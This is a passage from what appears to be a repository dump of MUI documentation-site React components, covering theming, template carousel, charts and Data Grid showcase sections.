    "content": "import * as React from 'react';\nimport { CssVarsProvider } from '@mui/material/styles';\nimport Grid from '@mui/material/Grid';\nimport Typography from '@mui/material/Typography';\nimport AutoAwesomeRounded from '@mui/icons-material/AutoAwesomeRounded';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport Item, { Group } from 'docs/src/components/action/Item';\nimport Highlighter from 'docs/src/components/action/Highlighter';\nimport SvgMaterialDesign from 'docs/src/icons/SvgMaterialDesign';\nimport Frame from 'docs/src/components/action/Frame';\nimport PlayerCard from 'docs/src/components/showcase/PlayerCard';\n\nconst code = `\n<Card\n  variant=\"outlined\"\n  sx={{  p: 2,\n    width: { xs: '100%', sm: 'auto' },\n    display: 'flex',\n    flexDirection: { xs: 'column', sm: 'row' },\n    alignItems: 'center',\n    gap: 2,\n  }}\n>\n  <CardMedia\n    component=\"img\"\n    width=\"100\"\n    height=\"100\"\n    alt=\"Contemplative Reptile album cover\"\n    src=\"/images/contemplative-reptile.jpg\"\n    sx={{    width: { xs: '100%', sm: 100 },\n    }}\n  />\n  <Stack direction=\"column\" sx={{ alignItems: 'center' }} spacing={1} useFlexGap>\n    <div>\n      <Typography sx={{ color: 'text.primary', fontWeight: 'semiBold' }}>\n        Contemplative Reptile\n      </Typography>\n      <Typography\n        variant=\"caption\"\n        sx={{ color: 'text.secondary', fontWeight: 'medium', textAlign: 'center', width: '100%' }}\n      >\n        Sounds of Nature\n      </Typography>\n    </div>\n    <Stack direction=\"row\" sx={{ alignItems: 'center' }} spacing={1} useFlexGap>\n      <IconButton aria-label=\"Shuffle\" disabled size=\"small\">\n        <ShuffleRoundedIcon fontSize=\"small\" />\n      </IconButton>\n      <IconButton aria-label=\"Fast rewind\" disabled size=\"small\">\n        <FastRewindRounded fontSize=\"small\" />\n      </IconButton>\n      <IconButton\n        aria-label={paused ? 'Play music' : 'Pause music'}\n        onClick={() => setPaused((val) => !val)}\n        sx={{ mx: 1 }}\n      >\n        {paused ? <PlayArrowRounded /> : <PauseRounded />}\n      </IconButton>\n      <IconButton aria-label=\"Fast forward\" disabled size=\"small\">\n        <FastForwardRounded fontSize=\"small\" />\n      </IconButton>\n      <IconButton aria-label=\"Loop music\" disabled size=\"small\">\n        <LoopRoundedIcon fontSize=\"small\" />\n      </IconButton>\n    </Stack>\n  </Stack>\n</Card>`;\n\nexport default function MaterialTheming() {\n  const [customized, setCustomized] = React.useState(true);\n  return (\n    <Section>\n      <Grid container spacing={2}>\n        <Grid sx={{ minWidth: 0 }} size={{ md: 6 }}>\n          <SectionHeadline\n            overline=\"Theming\"\n            title={\n              <Typography variant=\"h2\">\n                Build <GradientText>your design system</GradientText> just as you want it to be\n              </Typography>\n            }\n            description=\"Start quickly with Material Design or use the advanced theming feature to easily tailor the components to your needs.\"\n          />\n          <Group sx={{ m: -2, p: 2 }}>\n            <Highlighter disableBorder selected={customized} onClick={() => setCustomized(true)}>\n              <Item\n                icon={<AutoAwesomeRounded color=\"warning\" />}\n                title=\"Custom Theme\"\n                description=\"Theming allows you to use your brand's design tokens, easily making the components reflect its look and feel.\"\n              />\n            </Highlighter>\n            <Highlighter disableBorder selected={!customized} onClick={() => setCustomized(false)}>\n              <Item\n                icon={<SvgMaterialDesign />}\n                title=\"Material Design\"\n                description=\"Every component comes with Google's tried and tested design system ready for use.\"\n              />\n            </Highlighter>\n          </Group>\n        </Grid>\n        <Grid size={{ xs: 12, md: 6 }}>\n          <Frame sx={{ height: '100%' }}>\n            <Frame.Demo\n              sx={{\n                p: 2,\n                flexGrow: 1,\n                display: 'flex',\n                justifyContent: 'center',\n                alignItems: 'center',\n                minHeight: 188,\n              }}\n            >\n              {customized ? (\n                <PlayerCard />\n              ) : (\n                <CssVarsProvider>\n                  <PlayerCard disableTheming />\n                </CssVarsProvider>\n              )}\n            </Frame.Demo>\n            <Frame.Info sx={{ maxHeight: 300, overflow: 'auto' }}>\n              <HighlightedCode copyButtonHidden plainStyle code={code} language=\"jsx\" />\n            </Frame.Info>\n          </Frame>\n        </Grid>\n      </Grid>\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productTemplate/TemplateDemo.tsx",
    "content": "import * as React from 'react';\nimport SwipeableViews from 'react-swipeable-views';\nimport { alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport ButtonBase, { ButtonBaseProps } from '@mui/material/ButtonBase';\nimport Grid from '@mui/material/Grid';\nimport Typography from '@mui/material/Typography';\nimport LaunchRounded from '@mui/icons-material/LaunchRounded';\nimport KeyboardArrowLeftRounded from '@mui/icons-material/KeyboardArrowLeftRounded';\nimport KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport Item, { Group } from 'docs/src/components/action/Item';\nimport Highlighter from 'docs/src/components/action/Highlighter';\nimport Frame from 'docs/src/components/action/Frame';\nimport { Link } from '@mui/docs/Link';\nimport More from 'docs/src/components/action/More';\nimport { DEMOS, icons, TEMPLATES } from 'docs/src/components/productMaterial/MaterialTemplates';\n\nfunction ActionArea(props: ButtonBaseProps) {\n  return (\n    <ButtonBase\n      {...props}\n      sx={[\n        (theme) => ({\n          width: 100,\n          height: 100,\n          borderRadius: '50%',\n          transition: '0.2s',\n          '&.Mui-disabled': {\n            opacity: 0,\n          },\n          '& > svg': { transition: '0.2s' },\n          backdropFilter: 'blur(4px)',\n          bgcolor: alpha(theme.palette.primaryDark[500], 0.5),\n          '&:hover, &:focus': {\n            '& > svg': { fontSize: 28 },\n          },\n          position: 'absolute',\n          top: 'calc(50% - 50px)',\n          color: '#fff',\n          p: 1.5,\n          ...theme.applyDarkStyles({\n            bgcolor: alpha(theme.palette.primary[500], 0.5),\n          }),\n        }),\n        ...(Array.isArray(props.sx) ? props.sx : [props.sx]),\n      ]}\n    />\n  );\n}\n\nexport default function TemplateDemo() {\n  const [demo, setDemo] = React.useState(DEMOS[0]);\n  const [templateIndex, setTemplateIndex] = React.useState(0);\n  const templates = TEMPLATES[demo];\n\n  return (\n    <Section bg=\"gradient\">\n      <Grid container spacing={2} sx={{ alignItems: 'center' }}>\n        <Grid sx={{ minWidth: 0 }} size={{ md: 6 }}>\n          <SectionHeadline\n            overline=\"Templates\"\n            title={\n              <Typography variant=\"h2\">\n                The right template for your <GradientText>specific use case</GradientText>\n              </Typography>\n            }\n            description=\"The Material UI collection of templates offers an expanding list of use cases designed to support projects of various types.\"\n          />\n          <Group desktopColumns={2} sx={{ m: -2, p: 2 }}>\n            {DEMOS.map((name) => (\n              <Highlighter\n                key={name}\n                selected={name === demo}\n                onClick={() => {\n                  setDemo(name);\n                  setTemplateIndex(0);\n                }}\n              >\n                <Item\n                  icon={React.cloneElement(icons[name], name === demo ? { color: 'primary' } : {})}\n                  title={name}\n                />\n              </Highlighter>\n            ))}\n            <More\n              component={Link}\n              href=\"https://mui.com/store/?utm_source=marketing&utm_medium=referral&utm_campaign=templates-cta2#populars\"\n              noLinkStyle\n            />\n          </Group>\n        </Grid>\n        <Grid size={{ xs: 12, md: 6 }}>\n          <Frame>\n            <Frame.Demo sx={{ minHeight: { xs: 240, sm: 320 } }}>\n              <Box\n                sx={{\n                  overflow: 'hidden',\n                  position: 'absolute',\n                  left: 0,\n                  right: 0,\n                  top: '50%',\n                  py: 2,\n                  transform: 'translate(0px, -50%)',\n                  '& > div': { px: '12%', overflow: 'unset !important' },\n                  '& .react-swipeable-view-container > div': {\n                    overflow: 'unset !important',\n                  },\n                }}\n              >\n                <SwipeableViews\n                  springConfig={{\n                    duration: '0.6s',\n                    delay: '0s',\n                    easeFunction: 'cubic-bezier(0.15, 0.3, 0.25, 1)',\n                  }}\n                  index={templateIndex}\n                  resistance\n                  enableMouseEvents\n                  onChangeIndex={(index) => setTemplateIndex(index)}\n                >\n                  {templates.map((item, index) => (\n                    <Box\n                      key={item.name}\n                      sx={(theme) => ({\n                        borderRadius: 1,\n                        height: { xs: 200, sm: 240 },\n                        backgroundImage: `url(${item.src.light})`,\n                        backgroundSize: 'cover',\n                        backgroundRepeat: 'no-repeat',\n                        bgcolor: 'background.paper',\n                        boxShadow: '0px 4px 10px rgba(61, 71, 82, 0.25)',\n                        transition: '0.6s cubic-bezier(0.15, 0.3, 0.25, 1)',\n                        transform: templateIndex !== index ? 'scale(0.92)' : 'scale(1)',\n                        ...theme.applyDarkStyles({\n                          backgroundImage: `url(${item.src.dark})`,\n                          boxShadow: '0px 4px 10px rgba(0, 0, 0, 0.6)',\n                        }),\n                      })}\n                    >\n                      <Link\n                        href={`${item.href}?utm_source=marketing&utm_medium=referral&utm_campaign=templates-cta2`}\n                        noLinkStyle\n                        target=\"_blank\"\n                        sx={{\n                          transition: '0.3s',\n                          borderRadius: 1,\n                          position: 'absolute',\n                          width: '100%',\n                          height: '100%',\n                          opacity: 0,\n                          top: 0,\n                          left: 0,\n                          bgcolor: (theme) => alpha(theme.palette.primaryDark[900], 0.4),\n                          color: '#fff',\n                          display: 'flex',\n                          alignItems: 'center',\n                          justifyContent: 'center',\n                          '&:hover, &:focus': {\n                            opacity: 1,\n                          },\n                        }}\n                      >\n                        <Typography sx={{ fontWeight: 'bold' }}>Go to store</Typography>\n                        <LaunchRounded fontSize=\"small\" sx={{ ml: 1 }} />\n                      </Link>\n                    </Box>\n                  ))}\n                </SwipeableViews>\n                {templates.length > 1 && (\n                  <React.Fragment>\n                    <ActionArea\n                      aria-label=\"Previous template\"\n                      disabled={templateIndex === 0}\n                      onClick={() => setTemplateIndex((current) => Math.max(0, current - 1))}\n                      sx={{ left: 0, transform: 'translate(-50%)', justifyContent: 'flex-end' }}\n                    >\n                      <KeyboardArrowLeftRounded />\n                    </ActionArea>\n                    <ActionArea\n                      aria-label=\"Next template\"\n                      disabled={templateIndex === templates.length - 1}\n                      onClick={() =>\n                        setTemplateIndex((current) => Math.min(templates.length - 1, current + 1))\n                      }\n                      sx={{ right: 0, transform: 'translate(50%)', justifyContent: 'flex-start' }}\n                    >\n                      <KeyboardArrowRightRounded />\n                    </ActionArea>\n                  </React.Fragment>\n                )}\n              </Box>\n            </Frame.Demo>\n            <Frame.Info\n              sx={{\n                width: '100%',\n                display: 'flex',\n                alignItems: 'start',\n                justifyContent: 'space-between',\n                '& .MuiIconButton-root': { display: { xs: 'none', md: 'inline-flex' } },\n              }}\n            >\n              <div>\n                <Typography variant=\"body2\" noWrap sx={{ fontWeight: 'medium', mb: 0.5 }}>\n                  {templates[templateIndex].name}\n                </Typography>\n                <Typography variant=\"body2\" noWrap sx={{ color: 'grey.500', fontSize: '0.75rem' }}>\n                  Developed by {templates[templateIndex].author}\n                </Typography>\n              </div>\n              <Typography variant=\"caption\" sx={{ color: 'grey.500' }}>\n                {templateIndex + 1} / {templates.length}\n              </Typography>\n            </Frame.Info>\n          </Frame>\n        </Grid>\n      </Grid>\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productTemplate/TemplateHero.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Button from '@mui/material/Button';\nimport KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport HeroContainer from 'docs/src/layouts/HeroContainer';\nimport IconImage from '@mui/docs/IconImage';\nimport { Link } from '@mui/docs/Link';\nimport {\n  StoreTemplatesSet1,\n  StoreTemplatesSet2,\n} from 'docs/src/components/home/StoreTemplatesBanner';\n\nexport default function TemplateHero() {\n  return (\n    <HeroContainer\n      linearGradient\n      left={\n        <Box sx={{ textAlign: { xs: 'center', md: 'left' } }}>\n          <Typography\n            variant=\"body2\"\n            sx={[\n              {\n                fontWeight: 'bold',\n              },\n              (theme) => ({\n                display: 'flex',\n                alignItems: 'center',\n                justifyContent: { xs: 'center', md: 'start' },\n                '& > *': { mr: 1 },\n                color: 'primary.600',\n                ...theme.applyDarkStyles({\n                  color: 'primary.400',\n                }),\n              }),\n            ]}\n          >\n            <IconImage width={28} height={28} loading=\"eager\" name=\"product-templates\" /> Templates\n          </Typography>\n          <Typography variant=\"h1\" sx={{ my: 2, maxWidth: 500 }}>\n            <GradientText>Beautiful and fully built</GradientText> Material&nbsp;UI templates\n          </Typography>\n          <Typography sx={{ color: 'text.secondary', mb: 3, maxWidth: 500 }}>\n            A collection of 4.5 average rating templates, selected and curated by Material UI&apos;s\n            maintainers to get your projects up and running today.\n          </Typography>\n          <Button\n            component={Link}\n            noLinkStyle\n            href=\"https://mui.com/store/?utm_source=marketing&utm_medium=referral&utm_campaign=templates-cta#populars\"\n            variant=\"contained\"\n            endIcon={<KeyboardArrowRightRounded />}\n            sx={{ width: { xs: '100%', sm: 'auto' } }}\n          >\n            Browse templates\n          </Button>\n        </Box>\n      }\n      right={\n        <Box sx={{ position: 'relative', height: '100%', perspective: '1000px' }}>\n          <Box\n            sx={{\n              left: '40%',\n              position: 'absolute',\n              display: 'flex',\n              transform: 'translateX(-40%) rotateZ(-30deg) rotateX(8deg) rotateY(8deg)',\n              transformOrigin: 'center center',\n            }}\n          >\n            <StoreTemplatesSet1\n              disableLink\n              keyframes={{\n                '0%': {\n                  transform: 'translateY(-200px)',\n                },\n                '100%': {\n                  transform: 'translateY(-40px)',\n                },\n              }}\n            />\n            <StoreTemplatesSet2\n              disableLink\n              keyframes={{\n                '0%': {\n                  transform: 'translateY(150px)',\n                },\n                '100%': {\n                  transform: 'translateY(40px)',\n                },\n              }}\n              sx={{ ml: { xs: 2, sm: 4, md: 8 } }}\n            />\n          </Box>\n        </Box>\n      }\n    />\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productX/XChartsDemo.tsx",
    "content": "import Paper from '@mui/material/Paper';\nimport { BarChart } from '@mui/x-charts/BarChart';\nimport { blueberryTwilightPaletteLight } from '@mui/x-charts';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\nimport Frame from 'docs/src/components/action/Frame';\n\nconst code = `\n<BarChart\n  series={[\n    { data: [35, 44, 24, 34] },\n    { data: [51, 6, 49, 30] },\n    { data: [15, 25, 30, 50] },\n    { data: [60, 50, 15, 25] },\n  ]}\n  height={290}\n  xAxis={[{ data: ['Q1', 'Q2', 'Q3', 'Q4'], scaleType: 'band' }]}\n  margin={{ top: 10, bottom: 30, left: 40, right: 10 }}\n  colors={blueberryTwilightPaletteLight}\n/>`;\n\nexport default function XChartsDemo() {\n  return (\n    <Frame sx={{ height: '100%' }}>\n      <Frame.Demo sx={{ p: 2 }}>\n        <Paper\n          variant=\"outlined\"\n          sx={(theme) => ({\n            p: 2,\n            display: 'flex',\n            alignItems: 'center',\n            maxWidth: '100%',\n            mx: 'auto',\n            bgcolor: '#FFF',\n            borderRadius: '8px',\n            ...theme.applyDarkStyles({\n              bgcolor: 'primaryDark.900',\n            }),\n          })}\n        >\n          <BarChart\n            series={[\n              { data: [35, 44, 24, 34] },\n              { data: [51, 6, 49, 30] },\n              { data: [15, 25, 30, 50] },\n              { data: [60, 50, 15, 25] },\n            ]}\n            height={290}\n            xAxis={[{ data: ['Q1', 'Q2', 'Q3', 'Q4'], scaleType: 'band' }]}\n            margin={{ top: 10, bottom: 0, left: 0, right: 10 }}\n            colors={blueberryTwilightPaletteLight}\n          />\n        </Paper>\n      </Frame.Demo>\n      <Frame.Info data-mui-color-scheme=\"dark\" sx={{ maxHeight: 300, overflow: 'auto' }}>\n        <HighlightedCode copyButtonHidden plainStyle code={code} language=\"jsx\" />\n      </Frame.Info>\n    </Frame>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productX/XComponents.tsx",
    "content": "import * as React from 'react';\nimport Grid from '@mui/material/Grid';\nimport Typography from '@mui/material/Typography';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport XComponentsSwitcher from 'docs/src/components/productX/XComponentsSwitcher';\nimport XGridFullDemo from 'docs/src/components/productX/XGridFullDemo';\nimport XDateRangeDemo from 'docs/src/components/productX/XDateRangeDemo';\nimport XTreeViewDemo from 'docs/src/components/productX/XTreeViewDemo';\nimport XChartsDemo from 'docs/src/components/productX/XChartsDemo';\n\nexport default function XComponents() {\n  const [componentIndex, setComponentIndex] = React.useState(0);\n  return (\n    <Section bg=\"gradient\">\n      <Grid container spacing={2}>\n        <Grid size={{ md: 6 }}>\n          <SectionHeadline\n            overline=\"Advanced React component library\"\n            title={\n              <Typography variant=\"h2\">\n                Powerful components for <GradientText>advanced use cases</GradientText>\n              </Typography>\n            }\n            description=\"The MUI X packages can power complex and data-intensive applications across a wide spectrum of use cases.\"\n          />\n          <XComponentsSwitcher\n            componentIndex={componentIndex}\n            setComponentIndex={setComponentIndex}\n          />\n        </Grid>\n        <Grid\n          sx={componentIndex === 0 ? { minHeight: { xs: 'auto', sm: 757, md: 'unset' } } : {}}\n          size={{ xs: 12, md: 6 }}\n        >\n          <React.Fragment>\n            {componentIndex === 0 && <XGridFullDemo />}\n            {componentIndex === 1 && <XDateRangeDemo />}\n            {componentIndex === 2 && <XChartsDemo />}\n            {componentIndex === 3 && <XTreeViewDemo />}\n          </React.Fragment>\n        </Grid>\n      </Grid>\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productX/XComponentsSwitcher.tsx",
    "content": "import * as React from 'react';\nimport dynamic from 'next/dynamic';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\nimport KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded';\nimport PivotTableChartRoundedIcon from '@mui/icons-material/PivotTableChartRounded';\nimport CalendarMonthRoundedIcon from '@mui/icons-material/CalendarMonthRounded';\nimport AccountTreeRounded from '@mui/icons-material/AccountTreeRounded';\nimport BarChartRoundedIcon from '@mui/icons-material/BarChartRounded';\nimport { visuallyHidden } from '@mui/utils';\nimport Highlighter from 'docs/src/components/action/Highlighter';\nimport { Link } from '@mui/docs/Link';\nimport ROUTES from 'docs/src/route';\n\nconst SwipeableViews = dynamic(() => import('react-swipeable-views'), { ssr: false });\n\nfunction ComponentItem({\n  label,\n  icon,\n  name,\n  description,\n  href,\n}: {\n  label: string;\n  icon: React.ReactNode;\n  name: React.ReactNode;\n  description?: React.ReactNode;\n  href: string;\n}) {\n  return (\n    <Box\n      component=\"span\"\n      sx={{\n        flexGrow: 1,\n        display: 'flex',\n        p: 2,\n        flexDirection: { xs: 'column', md: 'row' },\n        alignItems: { md: 'center' },\n        gap: 2.5,\n      }}\n    >\n      {icon}\n      <div>\n        <Typography\n          component=\"span\"\n          variant=\"body2\"\n          sx={{ color: 'text.primary', fontWeight: 'bold', display: 'block' }}\n        >\n          {name}\n        </Typography>\n        {description && (\n          <Typography\n            component=\"span\"\n            variant=\"body2\"\n            gutterBottom\n            sx={{ color: 'text.secondary', fontWeight: 'regular', display: 'block' }}\n          >\n            {description}\n          </Typography>\n        )}\n        <Link\n          href={href}\n          variant=\"body2\"\n          onClick={(event: React.MouseEvent<HTMLAnchorElement>) => {\n            event.stopPropagation();\n          }}\n          sx={{\n            color: 'primary',\n            display: 'inline-flex',\n            alignItems: 'center',\n            fontWeight: 'semiBold',\n            '& > svg': { transition: '0.2s' },\n            '&:hover > svg': { transform: 'translateX(2px)' },\n          }}\n        >\n          <span>View the docs</span>{' '}\n          <Box component=\"span\" sx={visuallyHidden}>\n            {label}\n          </Box>\n          <KeyboardArrowRightRounded fontSize=\"small\" sx={{ mt: '1px', ml: '2px' }} />\n        </Link>\n      </div>\n    </Box>\n  );\n}\n\nexport default function XComponentsSwitcher(props: {\n  componentIndex: number;\n  setComponentIndex: React.Dispatch<React.SetStateAction<number>>;\n}) {\n  const { componentIndex, setComponentIndex } = props;\n  const componentElement = [\n    <ComponentItem\n      name=\"Data Grid\"\n      label=\"Fast, feature-rich data table.\"\n      description=\"Fast, feature-rich data table.\"\n      icon={<PivotTableChartRoundedIcon />}\n      href={ROUTES.dataGridOverview}\n    />,\n    <ComponentItem\n      name=\"Date and Time Pickers\"\n      description=\"A suite of components for selecting dates, times, and ranges.\"\n      label=\"A suite of components for selecting dates, times, and ranges.\"\n      icon={<CalendarMonthRoundedIcon />}\n      href={ROUTES.datePickersOverview}\n    />,\n    <ComponentItem\n      name=\"Charts\"\n      description=\"Data visualization graphs, including bar, line, pie, scatter, and more.\"\n      label=\"Data visualization graphs, including bar, line, pie, scatter, and more.\"\n      icon={<BarChartRoundedIcon />}\n      href={ROUTES.chartsOverview}\n    />,\n    <ComponentItem\n      name=\"Tree View\"\n      description=\"Display hierarchical data, such as a file system navigator.\"\n      label=\"Display hierarchical data, such as a file system navigator.\"\n      icon={<AccountTreeRounded />}\n      href={ROUTES.treeViewOverview}\n    />,\n  ];\n  return (\n    <React.Fragment>\n      <Box\n        sx={{ display: { md: 'none' }, maxWidth: 'calc(100vw - 40px)', '& > div': { pr: '32%' } }}\n      >\n        <SwipeableViews\n          index={componentIndex}\n          resistance\n          enableMouseEvents\n          onChangeIndex={(index) => setComponentIndex(index)}\n        >\n          {componentElement.map((element, index) => (\n            <Highlighter\n              key={index}\n              disableBorder\n              onClick={() => setComponentIndex(index)}\n              selected={componentIndex === index}\n              sx={{\n                width: '100%',\n                transition: '0.3s',\n                transform: componentIndex !== index ? 'scale(0.9)' : 'scale(1)',\n              }}\n            >\n              {element}\n            </Highlighter>\n          ))}\n        </SwipeableViews>\n      </Box>\n      <Stack spacing={1} useFlexGap sx={{ display: { xs: 'none', md: 'flex' }, maxWidth: 500 }}>\n        {componentElement.map((element, index) => (\n          <Highlighter\n            key={index}\n            disableBorder\n            onClick={() => setComponentIndex(index)}\n            selected={componentIndex === index}\n          >\n            {element}\n          </Highlighter>\n        ))}\n      </Stack>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productX/XDataGrid.tsx",
    "content": "import * as React from 'react';\nimport { DataGridPro, useGridApiRef } from '@mui/x-data-grid-pro';\nimport { useDemoData } from '@mui/x-data-grid-generator';\nimport Grid from '@mui/material/Grid';\nimport Typography from '@mui/material/Typography';\nimport Paper from '@mui/material/Paper';\nimport EditRoundedIcon from '@mui/icons-material/EditRounded';\nimport LibraryAddCheckRounded from '@mui/icons-material/LibraryAddCheckRounded';\nimport SortByAlphaRounded from '@mui/icons-material/SortByAlphaRounded';\nimport AutoStoriesOutlined from '@mui/icons-material/AutoStoriesOutlined';\nimport FilterAltRounded from '@mui/icons-material/FilterAltRounded';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\nimport { Link } from '@mui/docs/Link';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport Item, { Group } from 'docs/src/components/action/Item';\nimport Highlighter from 'docs/src/components/action/Highlighter';\nimport More from 'docs/src/components/action/More';\nimport Frame from 'docs/src/components/action/Frame';\nimport FlashCode from 'docs/src/components/animation/FlashCode';\nimport { ShowcaseCodeWrapper } from 'docs/src/components/home/ShowcaseContainer';\nimport XGridGlobalStyles from 'docs/src/components/home/XGridGlobalStyles';\nimport { AppearingInfoBox } from 'docs/src/components/action/MoreInfoBox';\nimport ROUTES from 'docs/src/route';\n\nconst DEMOS = ['Editing', 'Selection', 'Sorting', 'Pagination', 'Filtering'] as const;\n\nconst code = `<DataGrid\n  columns={[ // column definition example\n    {\n      field: 'name',\n      headerName: 'Name',\n      editable: true,\n      sortable: true,\n      filterable: true,\n    },\n  ]}\n  checkboxSelection\n  disableRowSelectionOnClick\n  pagination\n/>`;\n\nconst startLine = {\n  [DEMOS[0]]: 6,\n  [DEMOS[1]]: 11,\n  [DEMOS[2]]: 7,\n  [DEMOS[3]]: 13,\n  [DEMOS[4]]: 8,\n};\n\nconst dataGridStyleOverrides = <XGridGlobalStyles selector=\"#data-grid-demo\" pro />;\n\nexport default function XDataGrid() {\n  const [demo, setDemo] = React.useState<(typeof DEMOS)[number] | null>(null);\n  const gridApiRef = useGridApiRef();\n  const icons = {\n    [DEMOS[0]]: <EditRoundedIcon fontSize=\"small\" />,\n    [DEMOS[1]]: <LibraryAddCheckRounded fontSize=\"small\" />,\n    [DEMOS[2]]: <SortByAlphaRounded fontSize=\"small\" />,\n    [DEMOS[3]]: <AutoStoriesOutlined fontSize=\"small\" />,\n    [DEMOS[4]]: <FilterAltRounded fontSize=\"small\" />,\n  };\n  const { loading, data } = useDemoData({\n    dataSet: 'Employee',\n    rowLength: 1000,\n    maxColumns: 5,\n    editable: true,\n  });\n  const firstRowId = data.rows[0]?.id;\n  React.useEffect(() => {\n    if (gridApiRef && gridApiRef.current && !loading) {\n      if (demo) {\n        gridApiRef.current.scroll({ top: 0, left: 0 });\n      }\n      if (demo === DEMOS[0]) {\n        document.body.focus();\n        setTimeout(() => {\n          const cell = document.querySelector(\n            '#data-grid-demo div[role=\"cell\"][data-field=\"name\"]',\n          );\n          if (cell) {\n            const clickEvent = document.createEvent('MouseEvents');\n            clickEvent.initEvent('dblclick', true, true);\n            cell.dispatchEvent(clickEvent);\n          }\n        }, 120);\n      }\n      if (demo === DEMOS[1]) {\n        const checkbox = document.querySelector(\n          '#data-grid-demo div[data-field=\"__check__\"] input',\n        ) as HTMLInputElement | null;\n        if (checkbox && !checkbox.checked) {\n          checkbox.click();\n        }\n      }\n      if (demo === DEMOS[2]) {\n        const sorter = document.querySelector(\n          '#data-grid-demo button[aria-label=\"Sort\"]',\n        ) as HTMLButtonElement | null;\n        if (sorter) {\n          sorter.click();\n        }\n      }\n      if (demo === DEMOS[3]) {\n        const nextPage = document.querySelector(\n          '#data-grid-demo button[aria-label=\"Go to next page\"]',\n        ) as HTMLButtonElement | null;\n        if (nextPage) {\n          nextPage.click();\n        }\n      }\n      if (demo === DEMOS[4]) {\n        document.body.focus();\n        gridApiRef.current.showFilterPanel('name');\n      }\n    }\n  }, [demo, loading, firstRowId, gridApiRef]);\n\n  return (\n    <Section cozy>\n      <Grid container spacing={2}>\n        <Grid sx={{ minWidth: 0 }} size={{ md: 6 }}>\n          <SectionHeadline\n            overline=\"Data Grid\"\n            title={\n              <Typography variant=\"h2\">\n                A level of <GradientText>performance and quality</GradientText> that hasn&apos;t\n                been seen before\n              </Typography>\n            }\n            description=\"The MUI X Data Grid is a data table powerhouse. It is packed with exclusive features that will enrich the experience of dealing with and maintaining lots of data.\"\n          />\n          <Group desktopColumns={2} sx={{ m: -2, p: 2 }}>\n            {DEMOS.map((name) => (\n              <Highlighter key={name} selected={name === demo} onClick={() => setDemo(name)}>\n                <Item icon={icons[name]} title={name} />\n              </Highlighter>\n            ))}\n            <More href={ROUTES.dataGridFeatures} />\n          </Group>\n        </Grid>\n        <Grid size={{ xs: 12, md: 6 }}>\n          <Paper\n            id=\"data-grid-demo\"\n            variant=\"outlined\"\n            sx={[\n              {\n                position: 'relative',\n                zIndex: 1,\n                height: 240,\n                borderRadius: '10px 10px 0 0',\n                '& .MuiDataGrid-root': {\n                  '& .MuiAvatar-root': { width: 24, height: 24, fontSize: 14, fontWeight: 'bold' },\n                  '& .MuiDataGrid-footerContainer': {\n                    minHeight: 48,\n                    borderTop: '1px solid',\n                    borderColor: 'grey.200',\n                  },\n                  '& .MuiTablePagination-root': {\n                    fontSize: '0.75rem',\n                    '& p': {\n                      fontSize: '0.75rem',\n                    },\n                    '& .MuiToolbar-root': {\n                      minHeight: 48,\n                    },\n                  },\n                },\n              },\n              (theme) =>\n                theme.applyDarkStyles({\n                  borderColor: 'divider',\n                  '& .MuiDataGrid-root': {\n                    '& .MuiDataGrid-footerContainer': {\n                      borderColor: 'primaryDark.600',\n                    },\n                  },\n                }),\n            ]}\n          >\n            {dataGridStyleOverrides}\n            <DataGridPro\n              {...data}\n              apiRef={gridApiRef}\n              loading={loading}\n              density=\"compact\"\n              checkboxSelection\n              disableRowSelectionOnClick\n              pagination\n            />\n          </Paper>\n          <Frame.Info sx={{ p: 0 }}>\n            <ShowcaseCodeWrapper maxHeight=\"100%\" clip>\n              <HighlightedCode copyButtonHidden plainStyle code={code} language=\"jsx\" />\n              {demo && <FlashCode startLine={startLine[demo]} sx={{ mx: 1 }} />}\n              <AppearingInfoBox appeared={demo === DEMOS[3] || demo === DEMOS[4]}>\n                <React.Fragment>\n                  <Typography\n                    variant=\"body2\"\n                    sx={{ color: 'grey.50', fontWeight: 'medium', mb: '4px' }}\n                  >\n                    {demo === DEMOS[3] && 'Pagination > 100 rows per page is a paid feature!'}\n                    {demo === DEMOS[4] && 'Multi-column filtering is a paid feature!'}\n                  </Typography>\n                  <Typography variant=\"body2\" sx={{ color: 'grey.300' }}>\n                    The Data Grid and all other MUI X components are available on free and paid\n                    plans. Find more details about each plan and its features are on{' '}\n                    <Link href={ROUTES.pricing}>the pricing page</Link>.\n                  </Typography>\n                </React.Fragment>\n              </AppearingInfoBox>\n            </ShowcaseCodeWrapper>\n          </Frame.Info>\n        </Grid>\n      </Grid>\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productX/XDateRangeDemo.tsx",
